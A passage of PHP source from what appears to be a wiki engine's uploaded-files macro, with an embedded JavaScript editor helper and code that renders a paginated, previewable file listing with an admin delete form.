    } else if (opener) {
        // WikiWyg support
        if (opener.document.{$form} && opener.document.{$form}.savetext) {
            txtarea = opener.document.{$form}.savetext;
        } else {
            txtarea = opener.document.getElementsByTagName('textarea')[0];
        }

        var my=opener.document.getElementById('editor_area');
        while (my == null || my.style.display == 'none') { // wikiwyg hack
            txtarea = opener.document.getElementById('wikiwyg_wikitext_textarea');

            // get iframe and check visibility.
            var myframe = opener.document.getElementsByTagName('iframe')[0];
            if (myframe.style.display == 'none' || myframe.parentNode.style.display == 'none') break;

            var postdata = 'action=markup/ajax&value=' + encodeURIComponent(tagOpen + myText + tagClose);
            var myhtml='';
            myhtml= HTTPPost(self.location, postdata);

            var mnew = myhtml.replace(/^<div>/i,''); // strip div tag
            mnew = mnew.replace(/<\\/div>\\s*\$/i,''); // strip div tag

            if (is_ie) {
                var range = myframe.contentWindow.document.selection.createRange();
                if (range.boundingTop == 2 && range.boundingLeft == 2)
                    return;
                range.pasteHTML(html);
                range.collapse(false);
                range.select();
            } else {
                myframe.contentWindow.document.execCommand('inserthtml', false, mnew + ' ');
            }

            return;
        }
    } else {
        return; // XXX
    }
  }

  if(is_ie) {
    var theSelection = document.selection.createRange().text;
    txtarea.focus();
    if(theSelection.charAt(theSelection.length - 1) == " "){
      // exclude ending space char, if any
      theSelection = theSelection.substring(0, theSelection.length - 1);
      document.selection.createRange().text = theSelection + tagOpen + myText + tagClose + " ";
    } else {
      document.selection.createRange().text = theSelection + tagOpen + myText + tagClose + " ";
    }
  }
  // Mozilla
  else if(txtarea.selectionStart || txtarea.selectionStart == '0') {
\t\t//var replaced = false;
\t\tvar startPos = txtarea.selectionStart;
\t\tvar endPos = txtarea.selectionEnd;
\t\tif (!replaced && endPos-startPos)
\t\t\treplaced = true;
\t\tvar scrollTop = txtarea.scrollTop;

\t\tif (myText.charAt(myText.length - 1) == " ") { // exclude ending space char, if any
\t\t\tsubst = tagOpen + myText.substring(0, (myText.length - 1)) + tagClose + " ";
\t\t} else {
\t\t\tsubst = tagOpen + myText + tagClose;
\t\t}
\t\ttxtarea.value = txtarea.value.substring(0, startPos) + subst +
\t\t\ttxtarea.value.substring(endPos, txtarea.value.length);
\t\ttxtarea.focus();
\t\t//set new selection
\t\tif (replaced) {
\t\t\tvar cPos = startPos+(tagOpen.length+myText.length+tagClose.length);
\t\t\ttxtarea.selectionStart = cPos;
\t\t\ttxtarea.selectionEnd = cPos;
\t\t} else {
\t\t\ttxtarea.selectionStart = startPos+tagOpen.length;   
\t\t\ttxtarea.selectionEnd = startPos+tagOpen.length+myText.length;
\t\t}\t
\t\ttxtarea.scrollTop = scrollTop;
  } else { // All others
    txtarea.value += tagOpen + myText + tagClose + " ";
    txtarea.focus();
  }
}
/*]]>*/
</script>
EOS;
    }
    if (!empty($DBInfo->download_action)) {
        $mydownload = $DBInfo->download_action;
    } else {
        $mydownload = 'download';
    }
    $checkbox = 'checkbox';
    $needle = "//";
    if (!empty($options['download']) || !empty($DBInfo->force_download)) {
        $force_download = 1;
        if (!empty($options['download'])) {
            $mydownload = $options['download'];
        }
    }
    if (!empty($options['needle'])) {
        $needle = '@' . $options['needle'] . '@i';
    }
    if (!empty($options['checkbox'])) {
        $checkbox = $options['checkbox'];
    }
    if (!in_array('UploadFile', $formatter->actions)) {
        $formatter->actions[] = 'UploadFile';
    }
    if ($value and $value != 'UploadFile') {
        $key = $DBInfo->pageToKeyname($value);
        //if ($force_download or $key != $value)
        $down_prefix = $formatter->link_url(_rawurlencode($value), "?action={$mydownload}&amp;value=");
        $dir = $DBInfo->upload_dir . "/{$key}";
    } else {
        $value = $formatter->page->urlname;
        $key = $DBInfo->pageToKeyname($formatter->page->name);
        //if ($force_download or $key != $formatter->page->name)
        $down_prefix = $formatter->link_url($formatter->page->urlname, "?action={$mydownload}&amp;value=");
        $dir = $DBInfo->upload_dir . "/{$key}";
    }
    // support hashed upload_dir
    if (!is_dir($dir) and !empty($DBInfo->use_hashed_upload_dir)) {
        $dir = $DBInfo->upload_dir . '/' . get_hashed_prefix($key) . $key;
    }
    if (!empty($force_download) or $key != $value) {
        $prefix = $down_prefix;
    }
    if (!empty($formatter->preview) and $formatter->page->name == $value) {
        $opener = '';
    } else {
        $opener = $value . ':';
    }
    if ($value != 'UploadFile' and file_exists($dir)) {
        $handle = opendir($dir);
    } else {
        $key = '';
        $value = 'UploadFile';
        if (!$force_download) {
            $prefix .= $prefix ? '/' : '';
        }
        $dir = $DBInfo->upload_dir;
        $handle = opendir($dir);
        $opener = '/';
    }
    $upfiles = array();
    $dirs = array();
    $per = !empty($DBInfo->uploadedfiles_per_page) ? $DBInfo->uploadedfiles_per_page : 100;
    // set nodir option to show only files
    if (!empty($options['needle']) && !isset($options['nodir'])) {
        $options['nodir'] = true;
    } else {
        if (!isset($options['nodir'])) {
            $options['nodir'] = false;
        }
    }
    // count files/dirs
    $count_files = 0;
    $count_dirs = 0;
    $uf = new Cache_text('settings');
    if (($info = $uf->fetch('uploadedfiles')) !== false) {
        $count_files = $info['files'];
        $count_dirs = $info['dirs'];
    } else {
        while (($file = readdir($handle)) !== false) {
            if ($file[0] == '.') {
                continue;
            }
            if (is_dir($dir . "/" . $file)) {
                $count_dirs++;
            } else {
                $count_files++;
            }
        }
        rewinddir($handle);
        // TTL = 1 day
        $uf->update('uploadedfiles', array('files' => $count_files, 'dirs' => $count_dirs), 60 * 60 * 24);
    }
    // XXX
    $plink = '';
    if (!empty($options['p'])) {
        $p = $options['p'] ? (int) $options['p'] : 1;
    } else {
        $p = 1;
    }
    $pfrom = ($p - 1) * $per;
    $pto = $pfrom + $per;
    $count = 0;
    while (($file = readdir($handle)) !== false) {
        if ($file[0] == '.') {
            continue;
        }
        if ($count >= $pfrom) {
            if (is_dir($dir . "/" . $file)) {
                if ($options['nodir']) {
                    continue;
                }
                if ($value == 'UploadFile') {
                    $dirs[] = $DBInfo->keyToPagename($file);
                }
            } else {
                if (preg_match($needle, $file) and $count >= $pfrom) {
                    if ($count < $pto) {
                        $upfiles[] = _p_filename($file);
                    }
                }
            }
        }
        $count++;
        if ($count >= $pto) {
            $plink = 1;
            break;
        }
    }
    closedir($handle);
    if (!$upfiles and !$dirs) {
        return "<h3>" . _("No files found") . "</h3>";
    }
    sort($upfiles);
    sort($dirs);
    $link = $formatter->link_url($formatter->page->urlname);
    $out = "<form method='post' action='{$link}'>";
    $out .= "<p><input type='hidden' name='action' value='DeleteFile' />\n";
    if ($key) {
        $out .= "<input type='hidden' name='value' value=\"{$value}\" />\n";
    }
    $out .= "</p><table style='border:0px' cellpadding='2' class='info'>\n";
    // set colspan to show file informations
    $c = 1;
    if ($use_admin) {
        $c = 2;
    }
    if ($c) {
        $colspan = ' colspan="' . $c . '"';
    }
    if ($use_fileinfo) {
        $mname = _("File name");
        $msize = _("Size");
        $mdate = _("Date");
        $out .= "<tr><th{$colspan}>{$mname}</th><th>{$msize}</th><th>{$mdate}</th></tr>\n";
        $c += 2;
    }
    // set colspan again
    if ($c > 1) {
        $colspan = ' colspan="' . $c . '"';
    }
    $idx = 1;
    if ($js_tag) {
        #$attr=' target="_blank"';
        $extra = '&amp;popup=1&amp;tag=1';
    } else {
        $attr = '';
        $extra = '';
    }
    // support hashed upload_dir
    if (!empty($DBInfo->use_hashed_upload_dir)) {
        $ndirs = array();
        foreach ($dirs as $d0) {
            if (strlen($d0) != 1) {
                $ndirs[] = $d0;
                continue;
            }
            $handle = opendir($DBInfo->upload_dir . '/' . $d0);
            if (!is_resource($handle)) {
                continue;
            }
            $pre = $DBInfo->upload_dir . '/' . $d0;
            while (($d = readdir($handle)) !== false) {
                if (!is_dir($pre . '/' . $d)) {
                    $ndirs[] = $d0;
                    break;
                }
                if ($d[0] == $d0[0]) {
                    $hd = opendir($pre . '/' . $d);
                    if (!is_resource($hd)) {
                        continue;
                    }
                    $pre1 = $pre . '/' . $d;
                    while (($d1 = readdir($hd)) !== false) {
                        if ($d1[0] == '.') {
                            continue;
                        }
                        if (is_dir($pre1 . '/' . $d1)) {
                            $ndirs[] = $d1;
                        }
                    }
                    closedir($hd);
                }
            }
            closedir($handle);
        }
        $dirs = $ndirs;
        sort($dirs);
    }
    // count dirs
    $didx = 0;
    if (count($dirs)) {
        $out .= "<tr>";
        $didx++;
    }
    foreach ($dirs as $file) {
        $link = $formatter->link_url($file, "?action=uploadedfiles{$extra}", $file, $attr);
        $key = $DBInfo->pageToKeyname($file);
        // support hashed upload_dir
        $pre = '';
        if (!empty($DBInfo->use_hashed_upload_dir)) {
            $pre = get_hashed_prefix($key);
            if (!is_dir($dir . '/' . $pre . $key)) {
                $pre = '';
            }
        }
        $dirname = $dir . '/' . $pre . $key;
        $date = date("Y-m-d", filemtime($dirname));
        $file = _html_escape($file);
        if ($use_admin) {
            $out .= "<td class='wiki'><input type='{$checkbox}' name='files[{$idx}]' value=\"{$file}\" /></td>";
        }
        $out .= "<td class='wiki'><a href='{$link}'>{$file}/</a></td>";
        if ($use_fileinfo) {
            $out .= "<td align='right' class='wiki'>&nbsp;</td><td class='wiki'>{$date}</td>";
        }
        if ($didx % $col == 0) {
            $out .= "</tr>\n<tr>\n";
        }
        $idx++;
        $didx++;
    }
    if (isset($value[0]) and $value != 'UploadFile') {
        if ($js_tag) {
            #$attr=' target="_blank"';
            $extra = '&amp;popup=1&amp;tag=1';
        }
        if (!empty($options['needle'])) {
            $extra .= '&amp;q=' . $options['needle'];
        }
        $link = $formatter->link_tag('UploadFile', "?action=uploadedfiles&amp;value=top{$extra}", "<img src='" . $icon_dir . "/32/up.png' style='border:0' class='upper' alt='..' />", $attr);
        $out .= "<tr>";
        if ($use_admin) {
            $out .= "<td class='wiki'>&nbsp;</td>";
        }
        $out .= "<td class='wiki'>{$link}</td>";
        if ($use_fileinfo) {
            $date = date("Y-m-d", filemtime($dir . "/.."));
            $out .= "<td align='right' class='wiki'>&nbsp;</td><td class='wiki'>{$date}</td>";
        }
        if ($didx % $col == 0) {
            $out .= "</tr>\n<tr>\n";
        }
        $didx++;
    }
    if (!empty($options['needle'])) {
        $extra .= '&amp;q=' . $options['needle'];
    }
    if (isset($options['nodir'])) {
        $extra .= '&amp;nodir=' . $options['nodir'];
    }
    if ($plink) {
        $plink = $formatter->link_tag('', "?action=uploadedfiles{$extra}&amp;p=" . ($p + 1), _("Next page &raquo;"), $attr);
    } else {
        if ($p > 1) {
            $plink = $formatter->link_tag('', "?action=uploadedfiles{$extra}", _("&laquo; First page"), $attr);
        }
    }
    if (empty($prefix)) {
        $prefix = str_replace($DBInfo->upload_dir, $DBInfo->upload_dir_url, $dir) . '/';
    }
    $unit = array('Bytes', 'KB', 'MB', 'GB', 'TB');
    $down_mode = strpos($prefix, ';value=') !== false;
    $mywidth = $preview_width;
    if (empty($didx)) {
        // no dirs found.
        $out .= '<tr>';
    }
    $iidx = $didx;
    // file index
    foreach ($upfiles as $file) {
        $_l_file = _l_filename($file);
        // force download with some extensions. XXX
        if ($down_mode or preg_match('/\\.(pl|cgi|py|php.?)$/', $file)) {
            $link = str_replace(";value=", ";value=" . rawurlencode($file), $down_prefix);
        } else {
            $link = $prefix . rawurlencode($file);
        }
        // XXX
        $previewlink = $link;
        $size = filesize($dir . '/' . $_l_file);
        if (!empty($use_preview)) {
            preg_match("/\\.(.{1,4})\$/", $file, $m);
            $ext = isset($m[1]) ? strtolower($m[1]) : '';
            if ($use_preview > 1 and $ext and stristr('gif,png,jpeg,jpg', $ext)) {
                list($w, $h) = getimagesize($dir . '/' . $file);
                if ($w <= $preview_width) {
                    $mywidth = $w;
                } else {
                    $mywidth = $preview_width;
                }
                if (file_exists($dir . "/thumbnails/" . $_l_file)) {
                    if ($down_mode) {
                        $previewlink = str_replace('value=', 'value=thumbnails/', $previewlink);
                    } else {
                        $previewlink = $prefix . 'thumbnails/' . rawurlencode($file);
                    }
                }
            }
        }
        if (!empty($use_fileinfo)) {
            $i = 0;
            for (; $i < 4; $i++) {
                if ($size <= 1024) {
                    #$size= round($size,2).' '.$unit[$i];
                    break;
                }
                $size = $size / 1024;
            }
            $size = round($size, 2) . ' ' . $unit[$i];
        }
        $date = date('Y-m-d', filemtime($dir . '/' . $_l_file));
        $fname = $file;
        if ($use_preview or $js_tag) {
            $tag_open = 'attachment:';
            $tag_close = '';
            if ($opener != $value) {
                $tag_open .= $opener;
            }
            $alt = "alt='{$tag_open}{$file}{$tag_close}' title='{$file}'";
            if ($ext and stristr('gif,png,jpeg,jpg', $ext)) {
                $fname = "<img src='{$previewlink}' class='icon' width='{$mywidth}' {$alt} />";
                $attr .= $href_attr;
            } else {
                if (preg_match('/^(wmv|avi|mpeg|mpg|swf|wav|mp3|ogg|midi|mid|mov)$/', $ext)) {
                    $tag_open = '[[Media(';
                    $tag_close = ')]]';
                    $alt = "{$tag_open}{$file}{$tag_close}";
                } else {
                    if (!preg_match('/^(bmp|c|h|java|py|bak|diff|doc|css|php|xml|html|mod|' . 'rpm|deb|pdf|ppt|xls|tgz|gz|bz2|zip)$/', $ext)) {
                        $ext = 'unknown';
                    }
                }
                $fname = "<img src='{$icon_dir}/{$ext}.png' class='icon' {$alt} /><span>{$file}</span>";
            }
            if ($js_tag) {
                //if (strpos($file,' '))
                $tag = "insertTags('{$tag_open}','{$tag_close}','{$file}',true)";
                $link = "javascript:{$tag}";
            }
        }
        $file = _html_escape($file);
        if ($use_admin) {
            $out .= "<td class='wiki'><input type='{$checkbox}' name='files[{$idx}]' value=\"{$file}\" /></td>";
        }
        $out .= "<td class='wiki'><a href=\"{$link}\"{$attr}>{$fname}</a></td>";
        if ($use_fileinfo) {
            $out .= "<td align='right' class='wiki'>{$size}</td><td class='wiki'>{$date}</td>";
        }
        if ($iidx % $col == 0) {
            $out .= "</tr>\n<tr>\n";
        }
        if ($use_admin && $use_fileinfo) {
            $out .= "<td>&nbsp;</td><td{$colspan}>";
            if ($use_admin) {
                $out .= $dir . '/';
            }
            $out .= "{$file}</td>\n";
            $out .= "</tr>\n<tr>";
        }
        $idx++;
        $iidx++;
    }
    $kidx = $iidx - 1;
    $k = 0;
    // setup colspan to fill up <tr> with colspaned <td>
    while ($kidx % $col != 0) {
        $k += $c;
        $kidx++;
    }
    if ($k > 0) {
        // fill tr
        $out .= '<td colspan="' . $k . '">&nbsp;</td>';
    }
    if (substr($out, -4) == '<tr>') {
        $out = substr($out, 0, -4);
    } else {
        $out .= "</tr>\n";
    }
    $idx--;
    $msg = sprintf(_("%d files"), $idx);
    if (count($dirs)) {
        $msg .= ' / ' . sprintf(_("Total %d files"), $count_files);
        $msg .= ' / ' . sprintf(_("%d dirs"), $count_dirs);
    }
    // colspan for multi column case.
    if ($col > 1) {
        $colspan = ' colspan="' . $col * $c . '"';
    }
    $out .= "<tr>";
    if ($use_admin && $c > 1) {
        $out .= "<td>&nbsp;</td>";
    }
    // fill checkbox column
    $out .= "<th {$colspan}>{$msg}</th></tr>\n";
    if ($plink) {
        $out .= "<tr><th {$colspan}>{$plink}</th></tr>\n";
    }
    $out .= "</table>\n";
    if ($use_admin) {
        if ($DBInfo->security->is_protected("deletefile", $options)) {
            $out .= '<p>' . _("Password") . ": <input type='password' name='passwd' size='10' /></p>\n";
        }
        $out .= "<p><input type='submit' value='" . _("Delete selected files") . "' /></p>";
    }
    $out .= "</form>\n";
    if (!$value and !in_array('UploadFile', $formatter->actions)) {
        $formatter->actions[] = 'UploadFile';
    }
    if ($uploader and !in_array('UploadedFiles', $formatter->actions)) {
        $out .= $formatter->macro_repl($uploader);
    }
    if ($use_preview) {
        $class = ' class="fileList preview"';
        return $js_script . "<div{$class}>" . $out . "</div>\n";
    }
    return $js_script . $out;
}